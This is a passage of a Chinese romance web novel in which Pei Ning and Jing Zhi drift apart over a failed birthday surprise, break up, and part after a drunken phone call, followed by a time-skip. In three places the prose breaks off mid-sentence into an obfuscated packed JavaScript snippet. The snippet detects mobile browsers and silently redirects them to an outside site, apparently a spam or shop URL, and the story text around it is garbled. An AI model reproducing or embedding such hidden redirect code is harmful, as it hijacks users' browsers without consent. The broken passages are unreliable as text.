“为什么不能先给我回个电话?” “我当时比较急……我想你如果真的有事找我,联系不上,应该会找小情或者小溪吧,就……没有回。” 井稚听到这句话,终于转过身来,眼眶欲裂,撑得通红。 “我当时,要处理伤口,要带小二来医院,要和咬人的狗的主人交涉,还要给你打电话,担心你是不是出了什么事,我根本没有时间去联系别人。” “我不是在怪你,我只是……” “裴凝,我也是人,我不是机器,出了什么事情,我的第一反应也会惊慌失措,我大脑一片空白的时候还要强迫自己去理清思路,去解决情况,我甚至都没有时间心疼小二,你知道我当时有多么需要你吗,我需要你,我需要你!可我需要你的时候,你为什么永远都不在?” 井稚控制着自己的身体,双手死死扒在裤腿两侧,才不至于理智尽失。 他微微颤抖,像无尽黑夜中,摇摇欲坠的孤舟。 裴凝渐渐垂下头。 “对不起。” 她不知道还能说些什么。 这句单薄的话,仿佛把井稚仅有的月光也遮住了。 他无力地蹲下,双手缓缓合住眼睛。 “裴凝。”他的声音沙哑而飘渺,“你为什么,就不能选我一次呢?” 裴凝很想抱抱他。 可她好像……没有这个资格。 “裴凝,我是不是,太勉强我们了。” 闷在封闭身体里的声音传出,好像过了很久才到裴凝耳中。 “什么意思?” 井稚不再说话。 他还是没有勇气面对两人之间从未解决的问题。 他很怕,一旦戳破那最后的自欺欺人,他们就真的无法挽回了。 “没什么。”井稚站起来,往一侧挪步,然后从裴凝身旁越过,“我去找医生,你陪下小二。” 裴凝站在原地没有动。 她听到井稚的脚步声渐远。 脑海里忽然有个念头,牵着裴凝转身,想要去追他。 她有种不好的预感,她怕就这样一瞬间,便失去他了。 反应过来时,裴凝已经站在医院走廊上。 井稚的身影已经走远,裴凝没有继续往前,而是停在了原地。 她自嘲地苦笑。 她变得越来越不像自己,他们也变得越来越不像他们。 时间流沙粘腻沉重,快要把他们扯散了。 - 裴凝本以为井稚还会像以往一样生气几天,但回家后,他没有再提过这件事,情绪也恢复如常,裴凝没时间的时候,他还会一直待在裴凝家里,帮忙照顾井小二。 因为裴悯和楚翡,破晓网站投稿量激增,裴凝工作量上升,她很想多在家陪井稚和井小二,但有心无力。 她和裴悯打了电话,知道她是打定主意要在破晓网站上连载,裴凝也不愿再周旋,直接让韩飞雀走了流程。 公司红红火火,目前为止已经签约了小十名作者,速度远比预想要快。 可所有人都看得出来,裴凝最近不开心。 朱情看了看日子,走到裴凝办公室,关上门。 “洛洛,忙吗?” 裴凝正望着电脑发呆,听到朱情的声音,迟缓地抬起头。 “不忙。” 朱情拖着一把椅子,坐到裴凝身边。 “最近看你不太开心。”她试探着问,“是因为那天要到了吗?” 那天,指的是裴凝的生日。 裴凝很讨厌自己的生日。 她不是主动来到这世上的,却要承受家庭的恶意,所以对她而言,生日才是真正的苦难。 她离开家之后就再也没有过过生日了,但还是忍不住厌恶这一天。 “不是,就是有点累。” 裴凝不想解释太多,随口答道。 “要不回家休息一下?” “没事,不用。”裴凝提了提精神,坐直了些,“最近跟作者们聊一下创作计划,逐日要我们提交今年的指标。” “好。” 朱情走后,裴凝看了看手机。 最近井稚发的消息越来越少了,今天一下午都没有听到井小二的小狗叫。 她想了想,给井稚拨了个电话。 “喂?” “在干嘛呢?” 接起来后,裴凝换了轻松的语气。 “没干嘛,在店里待着。” 裴凝一时不知道该说什么,几次想开口,都没有发出声音。 最终只问道:“晚上一起吃饭吗?” “好,不过我可能会晚点,一会儿要到一批货。” “那我去店里找你。” 简短对话后,又是沉默。 他们似乎越来越没有话说了。 “你下周还会一直忙吗?” 这次是井稚先说了话。 “应该是,怎么了?” “没怎么。那你没有时间休息吧。” “最近事情有点多,”裴凝看了看日程,“只能尽量保证周末不加班了。” “好。” 闲聊几句,井稚有事要忙,便挂了电话。 裴凝把手机握在手里,发了一会儿呆。 回神后,她点开井稚的聊天框,想设置一个聊天背景。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136829|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在相册里翻到底,裴凝才发现,她和井稚竟然都没有一张合照。无奈,只能换了一张他抱着井小二的照片。 下次一定要记得拍一张合照。 裴凝想。 - 忙碌也是有好处的,比如裴凝生日这天,因为太忙,她直接忘记了这件事,也就没时间感伤。 中午休息的时候,裴凝想去找朱情吃饭,拉开办公室的门,她发现整个公司的灯都关了,窗帘也拉着,只有透进来的几缕光照向空无一人的办公区。 裴凝莫名其妙,站在原地没有动,想给许溪打电话。 忽然,从用餐区冒出亮光,一个人影踏入昏暗,向她走来。 紧接着,后面跟出了越来越多的人。 裴凝愣了一下,仔细看去,才终于看清。 最前面的是井稚,他推着一个推车,上面放着一个点着蜡烛的双层蛋糕,眼睛里映着光,正徐徐笑着。 后面是许溪和韩飞雀,还有许许多多的员工。 裴凝艰难地想理清眼前的情况。 直到井稚在她面前站定,将公主皇冠给她戴上,她还没有反应过来。 “裴凝,生日快乐。” 所有人一齐唱起生日歌来。 大家笑着,闹着,眼神明亮欢愉,全部看向一动不动的裴凝。 只有她的心越来越沉。 听到动静的朱情也从办公室里出来,看到眼前一幕,震惊地好半天才想起动作,赶忙跑到人群面前。 生日歌已经唱完了,井稚轻声道:“许个愿吧。” 朱情想出声阻止,但被裴凝拽住手,按下了。 裴凝没有许愿,只是吹灭了蜡烛。 “谢谢,占用大家休息时间了。”她强撑着说道,“飞雀,把蛋糕给大家分一下吧,一会儿可以晚一小时上班。” 员工们本来还想再缠着裴凝说些什么,但被朱情找借口支开了。 井稚站在原地,看着裴凝摘下生日皇冠,一言不发地转身回屋。 她完全没有井稚想象中的任何一种反应,开心,惊喜,或者感动。 裴凝看起来,像是莫名绷紧了自己的情绪,瞬间穿上厚厚的铠甲。 他不知道为什么。 “你怎么了?” 井稚跟进去后,关上门,问道。 裴凝没有说话,她不知道该怎么说。 “是太冒犯了吗?我不知道你不喜欢这样,这是我们在一起后你的第一个生日,我希望能过得很有意义,但又不想耽误你工作,我想了很久,才想到在公司给你准备惊喜的,过年的时候你看到烟花那么开心,我以为你是喜欢惊喜的……” 井稚独自解释着,但裴凝的沉默让他越发无力。 “到底怎么了,你可以和我说吗?” 裴凝知道井稚的心意,知道他为了顾及自己,一定想了很多方式。 可三十年的压抑,没有办法因为井稚的一次惊喜,就一朝化解。 她知道这样不对,可她实在开心不起来。 眼看井稚眼里的热情渐渐攀上寒霜,她终于卸下防备,松开了一直握着的拳。 空气里,有一声微不可闻的叹息。 “井稚。” 裴凝低下头去,长发垂在身前,遮住了她的眼睛。 “我不过生日的。” 34. Chapter 34 裴凝只说了两句,井稚便懂了。 “对不起,我没有想到这些。” 他后退两步,坐在沙发上,垂眼看着反光的地板,不再解释什么。 “没事……还是很谢谢你。” 屋外欢乐吵闹的声音不时传来,刺破屋内的沉默,划在两人的肌肤上,有些尴尬的疼痛。 良久,井稚起身。 “不打扰你休息了,我先回书店了。” 裴凝刚想说不打扰,但井稚已经走出了办公室。 她又没能留住他。 朱情看到井稚出来,悄悄离开人群,迎上去。 “井老板,洛洛她……” “我知道,是我做得不对,我应该提前问一下的。” 井稚很平静地说着,听得朱情直皱眉。 “我不是这个意思。洛洛今天应该心情很不好,你不陪陪她吗?下午没什么事,你带她下班吧。” 井稚顿了一下,没有应下。 “抱歉学姐,我今天有些忙。” 说完,他绕过人群,径直离开了破晓。 无人的电梯开始运行,井稚紧握着扶手的手指终于松了些,一直绷着的神经也慢慢松懈。 他僵直着脊背,直挺挺地站着,直到快到达一楼,才终于拿出手机,打开APP,取消了今晚的餐厅预约。 还有周末的温泉酒店。 他本想等裴凝休息的时候带她去补过生日的。 可是……好像一切都变得不合时宜了。 他知道,这件事,谁都没有错。 可人总是这样,理智永远追不上感性。 因为没有人可以怪罪,所以更加憋闷。 他清醒地失落,沉默地难过。 心渐渐沉入湖底。 - 朱情很快走进裴凝办公室,果然看到她又在发呆。 她最近发呆的次数越来越多。 “洛洛,你和井老板怎么了?” 这个问题,裴凝也很想问。 她心里拧着,怎么解都解不开。 “不知道。”裴凝苦涩笑开,“我们好像越来越远了。” 朱情还没有见过裴凝如此为情所困。 她担心地问:“他对你不好吗?” 裴凝很快摇头。 “对我很好,真的很好。” “那你……不喜欢他吗?” 裴凝怔了一下,继续摇头。 “喜欢。” “那是为什么?”朱情不解,“你喜欢他,他对你也好,怎么会这样?” 裴凝长长地叹气:“好像是因为我。” “你怎么了?” “我对他不好。” 朱情大概听懂了。 裴凝自诩阅人无数,但其实从未在感情里走过心。 她只是会谈恋爱,但并不会谈爱。 她的纠结与彷徨,只有朱情这个一直在她身边的旁观者看得最清。 朱情走过去,摆正裴凝的身子,让她看着自己:“洛洛,不是你不好,你只是不相信感情,所以没有在意过感情,现在你想在意,但你不知道怎么做。你抗拒亲密关系,是因为别人带给你的伤害,这不怪你。没关系,你想做,从现在开始学就好了,井老板会理解你的。” 被亲生父母抛弃的经历,并不是所有人都能自愈。 裴凝从小就生活在一个充满恶意的世界,最亲近的血缘关系伤她最深,她当然会不相信感情,会把自己包裹起来,屏蔽一切靠近她的人。 这不是裴凝的错,她只是需要有人教她如何去爱。 “亲密关系……我不抗拒,我怎么会抗拒呢?我有过那么多亲密关系,我还有爱我的妈妈,小时候的事,我早就不在意了……” 裴凝喃喃,头越埋越深,说到后面,声音都听不清了。 “洛洛,伤口是不会因为你收获了糖果就愈合的,你获得的爱和无法释怀的过去并不冲突。没有人替你承受你受过的伤,所以没有人能指责你对感情的防备,你只需要做你自己,总会有人愿意爱这样的你。即使没有,你还有我,还有裴老师,所以没关系,怎样都没关系。” 朱情轻轻揽过裴凝的身子,感觉到她把脸埋在自己怀里。 裴凝阖上眼睛,暂时关闭了混乱的脑子。 她不想去想了。 都会变好的吧。 - 下班到家的时候,裴凝打开灯,一眼看到客厅茶几上摆着新鲜的玫瑰花。 旁边还放着几个礼物盒。 应该是井稚在去破晓前给她准备的,不欢而散后,没有来得及告诉她。 裴凝衣服都没换,直接坐在沙发上开始拆礼物。 第一个盒子拆开是一条钻石项链,吊坠是可爱的小狗模样,裴凝忽然觉得有些眼熟,仔细回想之后,才恍然发觉,井稚今天换了一条项链,是同样风格的小猫吊坠,和送给她这条是情侣款。 她不自觉地笑起来,把项链戴上。 第二个盒子里是一套香水套装,是裴凝很喜欢的牌子出的冬季新款,国内一直断货,不知道井稚是怎么买到的。一打开盖子,就有一股淡淡的柑橘香气扑面而来,再仔细去闻,中调是清甜的玫瑰香,丝毫不粘腻,很顺滑地便过渡到后调的麝香木质感中。 第三个盒子里放了许多书,裴凝拿出来,发现全部都是她的书,每一本上面都写满了密密麻麻的读后感和随想,纸张稍旧,但保存很完好,看得出是被井稚用心爱护多年的。 裴凝仔仔细细地翻看起来。她的第一本书出版的时候,井稚大概还在上高中,那本书文笔稚嫩,裴凝至今不敢再看。 久违地翻开之后,裴凝在上面发现了更加稚嫩的笔迹:“毕业了,老班终于把书还我了!!” 裴凝脑海里浮现出一个上课偷偷看小说被老师抓包的倒霉蛋,嘴角越扬越高。 第四个盒子里是一个手工制作的永生花小夜灯。井稚把裴凝上次送给他的黄玫瑰风干,做成了永生花,上面的每一个装饰都是他亲手粘上去的,打开开关之后,是温暖的黄光。 裴凝想了一下,抱着它走到卧室,把杂乱的书桌腾开一角,小心翼翼地摆好,左右看了看,还觉得不满意,又拿起来,踱到床边,把床头桌的香薰拿走,放了上去。 裴凝因为不过生日,所以几乎没有收到过生日礼物。 她第一次知道,原来收礼物,是这样开心的一件事。 她急忙找来手机,点开井稚的对话框,看着他抱着井小二的明媚笑颜,也跟着笑起来。 消息还在输入中,井稚的电话突然打过来。 裴凝很快接起。 “井稚,我收到……” “我可能得去江城出差一段时间。” 裴凝的话没有说完,井稚打断了她。 “……去多久?” “下周回来。” 裴凝偷偷松了一口气。 “又这么急吗?” “嗯,设计图出来了,我去实地看一下,要抓紧动工了。也得赶快租个房子,以后可能要经常在那边。” “好,注意安全。” 裴凝想,等忙完这几天,她就去江城找他,再给他个惊喜。 “裴凝,等我回来,我们见一面吧。” 井稚忽然道。 裴凝听着他淡淡的语气,一愣。 她忽然有种说不上来的坏感觉。 “我们不是……随时可以见面吗,干嘛说得这么正式。” 裴凝假装轻松地打趣。 “嗯。你注意休息,我回来之后告诉你。” 挂断电话之后,裴凝在床上坐了很久。 直到刺骨寒风一阵一阵打在脊背上,裴凝才发现卧室的窗户没有关。 偷跑进来的凉气灌了满室寒意。 这个冬天真长啊。 - 这一周很难熬。 裴凝既盼着井稚早些回来,又有些害怕井稚所说的见面。 但时间总是霸道的,无论裴凝怎么想,这一天还是不早不晚,如约而至。 裴凝收到了井稚的消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157517|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,约她在一个小酒馆见面。 井稚说,想让彼此都带一束花来。 这样奇怪的邀约,让裴凝心里越发不安了。 她站在花店,眼花缭乱的花朵闯入她眼,让她一时犯了难。 想了想,裴凝还是买了一大束红玫瑰。 红玫瑰是她第一次送给井稚的花,对他们而言,应该算是很有意义的吧。 驱车至约定的地点,裴凝走进酒馆,问过老板后,得知井稚还没有来,她便找了个暖和的角落坐下。 这个季节的玫瑰,只要拿出室外,稍有不慎便会被冻伤。裴凝仔细瞧了瞧,才发现有几片花瓣不易察觉地蔫着,衬得整束花都失了些朝气。 等了许久,裴凝终于听见门口的铃铛又响了两声。 冷风钻进来,吹开铃铛,拂在裴凝的脸上。 她抬起头,看到了一周未见的井稚。 他向她走来,脚步沉稳有力。 裴凝恍然想着,井稚已经有多久没有朝她奔跑而来了? “裴凝。” 井稚打破了她的思绪翩翩。 裴凝狡黠地笑起来,兔子眼睛弯弯。 “好久不见呀,有没有想我?” 井稚笑了笑,没有说话。 裴凝的笑僵在沉默里。 “果然是玫瑰花。” 井稚的视线转向桌子上的玫瑰,岔开了话头。 裴凝这才想起去看他手里的花。 “你应该也是吧……咦?郁金香吗?” 井稚拿着一束橘色郁金香,让人一眼看到便觉生机与活力,与这装修风格复古昏暗的小酒馆有些格格不入。 “送给你。” 井稚把花递给她。 裴凝接过,凑近闻了闻香气。 她今天喷了井稚送的香水,和花香卷在一起,更加怡人。 说起来,她今天还戴了小狗项链,裴凝下意识地错过视线,去瞧井稚的脖子,理所当然地认为他也戴着情侣款。 可井稚的颈间,空空如也。 “你知道我为什么要互相送花吗?” 井稚忽然问。 裴凝还在想项链的事,没有思考,直接脱口道:“因为很久没见了,所以要有仪式感?” “不是。” “那是因为什么?” “你知道我最喜欢的花是什么吗?” 井稚没有回答,继续问道。 裴凝愣了一下。 送了那么多次花,她好像还真没有问过他喜欢什么。 “不是……玫瑰吗?” 她犹疑道。 “是郁金香。” 井稚语气平和,眼睛一直看着裴凝。 裴凝不知道该回些什么。 她握着花的手,僵硬地停在半空。 “你看,裴凝,你送我的,从来只是你喜欢的,而不是我喜欢的。” 裴凝下意识想辩解:“你也每次都送我玫瑰,我以为你也喜欢……” “因为玫瑰是你喜欢的,所以我想送你。” 裴凝垂眼,不知道还应该说些什么。 老板给他们上了两杯啤酒,泡沫消散的声音细微地响在耳边。 “我曾经一直想不通,为什么我永远得不到你全部的关心,为什么我永远是你的备选项,为什么我怎么追都追不上你。” 井稚的神色依旧很平静,眼睛里无波无澜,再也没有初见时那样的亮色。 “后来,我终于理解了你。裴凝,并不是我们谁不够好,只是你不爱我。” 裴凝猛地抬头。 她想反驳,可是却发不出声音。 “在一起这么久,你甚至没有说过一句爱我。” 井稚自嘲地端起酒杯,仰头灌了半杯下去。 裴凝很奇怪,自己明明没有喝酒,为什么唇齿间满是苦涩? 她终于沙哑着开口:“所以,你想说什么。” 井稚的手紧紧握着酒杯,像是粘在桌子上一样,一动不动。 “裴凝,我们分手吧。” 35. Chapter 35 “你就直接答应了?” 裴凝三两句描述完自己的分手过程后,朱情忍不住惊讶道。 “对啊。” 裴凝抱着井小二,一下又一下摸着它后背的毛,动作舒缓,频率均匀。 她没什么表情,甚至看着井小二的目光,还有些柔和慈祥。 “那你们住上下楼,经常遇到的话……” “他说要搬到江城去了,忙新店的事,暂时不回来了。” 朱情顿了几秒,斟酌道:“你没有……和他再聊聊?” “恋爱嘛,分分合合很正常。人家觉得不合适了,我再多说就没意思了。” 朱情皱着眉看她,这状态明显不正常。 “不觉得可惜吗?他是因为误会你不爱他才提分手的。” “没什么可惜的,他感受不到说明我确实不够爱,他说的都没错。” 裴凝始终没有对上朱情的视线,只留给她一个侧脸。 “哎呀,小情人儿,你太严肃了吧,”裴凝刻意将语调挑高了些,“分手这事我比他有经验多了,你还不如关心关心他呢,让他别太伤心了。” 朱情叹了口气,知道多说也无用。 “井小二,你哥不要你了,只有你妈我要你。” 裴凝按着躁动的井小二,冷不丁打趣。 “这窜辈了吧。” 朱情顺滑接道。 裴凝笑得更开心些,终于抬起头看着朱情。 “不过话说回来,你要在我家待到什么时候?我可是要休三天分手假的,你还不早点回去休息,准备迎接两个人的工作啊?” 朱情还想说什么,但她一眼便看穿裴凝挂在脸上的假笑。 她再不走,裴凝估计就装不下去了。 于是她收回已经到嘴边的话,站起身。 “那你也早点睡,我先走了。” “嗯好,拜拜。” 裴凝一直笑着,目送她离开。 嘴角的弧度硬撑了太长时间,以至于门关上很久后,裴凝的笑容还因为肌肉记忆而挂在脸上。 终于,世界都安静了。 裴凝无意识地放开手,井小二终于挣脱她的桎梏,踩着沙发一跃,跑走了。 她的视线滞留在朱情离开的门口。 巨大的孤独像黑夜的海,看不见也听不清,可瞬间就能卷着巨浪将裴凝吞没。 无声的房间让她无法再逃避。 温暖小酒馆里的每一幕,都放慢了速度,在裴凝脑海里回放。 偶尔响起的铃铛,酸涩难抑的啤酒,隔壁桌划拳的爽朗笑声。 还有她没有任何拖泥带水地同意分手后,井稚脸上彻底失望的神色。 井稚离开前说的最后一句话,直到现在都在她耳边回响。 他说:“这段时间,谢谢你愿意陪我玩。” 裴凝坐了很久很久之后,才理解这句话是什么意思。 他觉得,她和他谈恋爱,只是哄他玩。 裴凝想了想,一开始,确实是。 她不吝于和有好感的人接触,所以她答应了有好感的井稚的表白。 因为关系正式与否,对裴凝而言,并不重要。 可是…… 现在不是了。 早就不是了。 裴凝不知道为什么自己那样轻松地答应了分手,却又像扯下一块皮肤一样,舍不下,拽不掉,撕裂着疼痛。 原来井稚填满了她生活中那么多缝隙。 他走后,四处冒着寒风。 真惨啊。 窗外还开始下雪了。 暖气好像也不热了。 裴凝鼻子一抽,有些委屈。 滚烫的泪珠灼烧过皮肤,裴凝后知后觉地去抹,可是越抹越多。 她认输地塌下肩,靠在沙发上,蜷起腿,把脸埋在两手间。 手脚一如既往地冰凉。 可是,再也没有人能将热意渡给她了。 漫漫寒冬,真难捱啊。 - 从酒馆离开时,井稚比预想的要平静。 没有失魂落魄,没有头晕目眩,他清楚地记得,接下来要去父母家接爆米花。 但路途枯燥,难免走神。 井稚控制不住思绪被扯走,路两边的景象催眠一般从余光掠过。 回过神时,他才猛然发现,破晓的办公楼出现在眼前。 不过一时恍惚,他又习惯性地开到这里来了。 这条路太过熟悉,他连抗拒的能力都没有。 停在楼下,井稚仿佛瞬间失去了力气。 他缓缓将头挨在方向盘上,手指蜷在一起。 副驾上的大束红玫瑰,耀眼夺目,成为压抑车厢里唯一的亮色。 不知道过了多久,井稚迟缓地坐起身,翻开手机,划拉着塞满消息的通知栏。 良久,他扯了扯嘴角。 也不知道在期待什么。 自嘲地收起手机,他再次启动车子,掉头离开。 到父母家时,井稚抱过又胖了一圈的爆米花,和父母说着要暂时定居江城的事。 “这么突然?” 井母一愣,包着饺子的手停了下来。 “早动工,早开业,战线拖得太长,生意不好做,这不是你们教我的嘛。” 话是这么说,但井母毫无心理准备,自然是有些接受不及。 井父倒是一如既往地寡言少语,也看不出什么情绪,只是在井母一下子失了神的时候道:“问过小裴意见了吗?她怎么说?” 井稚怔住片刻,转而低下头去撸爆米花。 “她支持我的,放心吧。” 井稚还没有和父母说分手的事、 毕竟这是自己第一次谈恋爱,他还没有想好要怎么解释这种事。 过段时间,找个异地恋辛苦,感情淡了之类的理由,搪塞过去算了。 “你们都忙,尤其是小裴,她管着那么大公司,脱不开身,你再一走,不是很难见面了?”井母一脸担心,拍了拍手上的面,走到井稚面前,“小裴支持你事业,你也得考虑人家。江城也不远,你没事多回来几趟,别让人家伤心,知道了吗?” 井稚含糊不清地应下:“知道了妈。” 井母特意给他包的饺子,本想留他吃饭,但井稚没有心力再装下去,借口说要回家收拾行李,硬是离开了。 开车回家的路上,下起了小雪。 离家越近,井稚的呼吸越发短促。 他怕遇到裴凝,又怕遇不到。 不知道哪个想法更多些。 直到一路畅通地回到家里,井稚终于知晓。 还是想遇到,更多些。 分手,不是因为他不爱了。 他爱裴凝,所以在接受了裴凝不爱自己的事实后,就再也不忍心牵绊住她。 他不愿看到,她明明不爱自己,却要表现出爱的样子。 对双方都是折磨。 所以他不再争吵,不再乞求。 如果他的离开能让裴凝自由。 那么他心甘情愿。 - 井稚觉得憋闷,所以没有多作停留,带了些换洗衣物和爆米花的东西,就启程往江城去。 冬日短昼,天已经黑了。 车开出半个多小时,临近青城边界。 手机响起时,井稚瞥了眼手边智能屏上的来电显示,脑子瞬间短路了一刹。 是裴凝的电话。 他回过神来,靠边停车。 “喂?” 听筒里只有忽短忽长的呼吸声。 井稚心里一紧,又问:“裴凝?” 许久之后,裴凝的声音才传来。 “井稚。” 鼻音很重,听起来囔囔的。 “怎么了?”井稚有些担心,“有什么事吗?” 又是长时间的留白。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174162|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在井稚已经打算打视频过去确认裴凝的情况时,她又小声说了一句。 “井稚,你能不能不走。” 井稚神色一滞。 他的心被这句话高高扬起。 但很快,又狠狠落下。 他听出了裴凝的醉意。 “喝酒了吗?” 井稚轻声道。 “嗯,”裴凝吸了吸鼻子,“喝了。” “不是千杯不倒吗?”井稚的声线愈发温柔,像是怕吓到裴凝一样,“空腹喝的?” 裴凝又“嗯”:“空腹喝的。” 井稚叹气。 “你在家吗?” “我在家呢。你要来找我吗?” 裴凝的语气欢快了些,带着期待。 井稚无奈,应下:“等我一会儿。” 挂断电话,掉头回城。 他在路上买了饭,把爆米花放回家,推开裴凝家门的时候,她正东倒西歪地坐在地毯上。 “你来啦。” 裴凝见到井稚,歪歪扭扭地要起身,结果一个不稳,往一旁栽去。 井稚立刻两步跃过客厅,稳稳接住她。 “小心点。” 裴凝扒着井稚的脖子不撒手,只傻笑。 茶几上,地上,摆了满满的空酒瓶。 井稚又生气又心疼。 “这么喝,胃不要了?” 裴凝没理井稚的斥责,拽着他在地毯上坐下,兴奋地指着电视。 “井稚你看!我发现上次的电影没看完,我们一起看完好不好。” 井稚扭头看去,电视上的画面暂停在上次退出的时刻。 是那部井稚最喜欢的悬疑电影。 但他现在却没有看下去的心情了。 “先吃点东西。” 井稚把包装盒一一拆开,摆在桌上。 喝醉的裴凝有点像小孩,不听话得很,怎么都不好好吃饭。 没办法,井稚只能夹一口,喂一口。 裴凝还是不安分地乱动。 “看嘛看嘛。” 她自顾自地按了播放。 还剩四分之一的剧情,时长已不足半小时。 井稚不让裴凝再喝酒,把酒瓶全都拿走了。 再加上强硬地喂了她一些饭菜,裴凝耍脾气似的撂挑子。 “不要。” 她干脆躺在井稚腿上,让他不能再逼她吃东西。 井稚拗不过她,只好放下筷子。 房间里温度很高,裴凝喝了酒,又吃了饭,很快困意袭来。 她迷迷糊糊地抱住井稚胳膊。 “井稚。” 她又在叫他了。 井稚俯下身子,附耳过去。 “怎么了?” “你能不能……不走。” 一样的话,一样的心跳停滞。 井稚僵硬地坐起身,手上机械地摸着她的头。 他没有回答。 他怕一开口,便又沦陷了。 井稚仅存的理智扯着他神经,告诉他。 不要信。 裴凝的陷阱,他已经踩过足够多了。 这不过是她的醉话,明天醒来,她大抵又不会承认了。 装作没听到,彼此便都不会尴尬。 井稚强迫自己将注意力集中在电影上。 所以他没有听到裴凝的最后一句话。 裴凝说: “我爱你呢。” 这句话被吞进了电视声响中,谁都不会再知道。 电影结束,井稚低头看向已经睡熟的裴凝。 片尾曲压抑沉闷地充斥着房间。 终究,还是他一个人看完了。 把裴凝抱回卧室,盖好被子,又收拾了客厅残局,井稚跪在床边,静静望着她。 月色隐没。 他轻声告别。 “再见,裴凝。” 36. Chapter 36 灯笼摘下又挂起,春秋不过掌中沙。 又是一年冬雪。 这一年,破晓突破所有人预期,飞速成长,成功在业内站稳脚跟。 裴悯的新书被业界评为打破传统文学与流行文学壁垒的成功尝试,用网文连载的方式,抵消了作品的厚重晦涩之感,原本只以快节奏网文为取向的诸多读者被吸引,纷纷追更,裴悯也因此成为破晓网站第一个连续霸榜的作者。 楚翡在破晓的第一本作品已经进入影视化流程,成为网文、影视双产业最受欢迎的作品内投第一名。这部作品,楚翡在内容和风格上都有极大的改变,不再将主角的感情作为主线,而是写了一个彻头彻尾的女性武侠故事。她说,肆意江湖从来不是谁的专属,天地自在每个人的心中。 而裴凝的新书,也终于迎来了出版。这本书她写得艰难,写得痛苦,甚至几度想要放弃,但最终还是坚持下来了。在繁忙工作中抽空写作,已经变成了她这一年的日常。连载反响很好,此前对她的转型唱衰的业内评论家,也都转变了风向,称其为“一部还算合格的悬疑作品”,这对初次涉及悬疑题材的裴凝来说,已经足够了。 但抛开光鲜夺目的外表,破晓的所有人都知道,这其中许多成就,是裴凝拿她不要命的工作强度换的。 春夏秋冬,日出月落,几乎从不见裴凝办公室的灯灭下。 她把自己变成了一个工作机器,井小二没时间照顾就干脆带来公司,或者直接寄养在裴悯那里,家已经很少回了。 朱情曾因为怕发着高烧的裴凝晕倒,而守在劝说不动的她身边一整夜。 全公司的人都在担心裴凝的健康情况,但裴凝只担心网站的日活为什么下降、心仪作者为什么签不下来、影视化作品为什么又被总部卡。 她是工作狂的事被传得到处都是,以至于年底评选青城年度优秀青年的时候,裴凝的获奖介绍里都特别标注了她的工作时间:一年365天,她工作了三百多天,超越公司任何一位员工。 徐鹤淞在青城生活账号上转载获奖报道的时候,特意通过韩飞雀来关心了裴凝,让她注意身体。 但裴凝谁的话都听不进,她始终情绪淡淡的,说一声谢谢,然后就继续投入工作。 朱情和许溪不止一次地站在她办公室门外叹气。 公历新年夜,方昀游作为逐日代表,来青城参加破晓成立一周年以及网站上线一周年的纪念晚宴。 裴凝和朱情不想搞得像年会一样尴尬有负担,所以提前发了全公司邮件,让大家自愿参加,并强调了只是一起吃个饭,没有其他活动,吃完可以选择和大家一起跨年或者直接回家。 也许是因为这一年工作太忙,酒喝得少,裴凝感觉自己的酒量越来越差。 还没到十一点,她已经反胃得想把刚吃下去的东西都吐出来了。 绕过人群,裴凝扶着墙往洗手间挪。 这一层会场都被他们包下来了,洗手间里没什么人。裴凝头痛欲裂,手撑着水池,冰凉湿滑的白瓷贴着她发热的皮肤,胃里翻江倒海,但只有干呕。 高跟鞋的硬质鞋底硌得她站不稳,她又拖着步子走出洗手间,在门外供人休息的沙发椅上坐了下来。这里的灯光比较暗,裴凝目光晕眩,更看不清,干脆闭上眼睛,手指在脚踝处摸索半天,掰开鞋扣,把鞋脱掉扔在一边。 她斜靠在墙壁上,半睁着眼,视线正好穿过走廊上的窗户,看向天边的白玉盘。 窗户不大,但很干净,透着的月光有种明净禅意。 洒在裴凝手上些,她伸掌去托,却只托住盘旋的尘埃。 她思绪迟钝,听到一声叹息。 许久,她才意识到,那是她自己的声音。 一件西装搭在她腿上,裴凝好半天才想起抬头去看来人。 方昀游穿着单薄衬衫,站在她面前。 “裴总,怎么一个人在这。” 裴凝没力气开口,只是垂了垂脑袋,算是回答。 方昀游见状,坐在了裴凝身边,将西装又往上拽了拽。 裴凝懒得管他动作,视线依旧停在窗户上,眼皮将将搭着,比静谧月色还少些生气。 “难受的话,我先送你回去?” 方昀游又道。 裴凝终于摇了摇头。 方昀游便也不再说话,陪她看着月亮。 这一年,方昀游并未隐藏自己对于裴凝的欣赏,以及超越欣赏的那部分感情。 特别是在他得知裴凝分手了后,行事又更加大胆些。 不过他的追求只停留在裴凝的安全界限外,他尊重裴凝的选择,不会擅自越界。 裴凝自然清楚他的意思。所以她除了必要工作,和方昀游能不接触就不接触,算是无言的拒绝。 现在,是他们难得的独处。 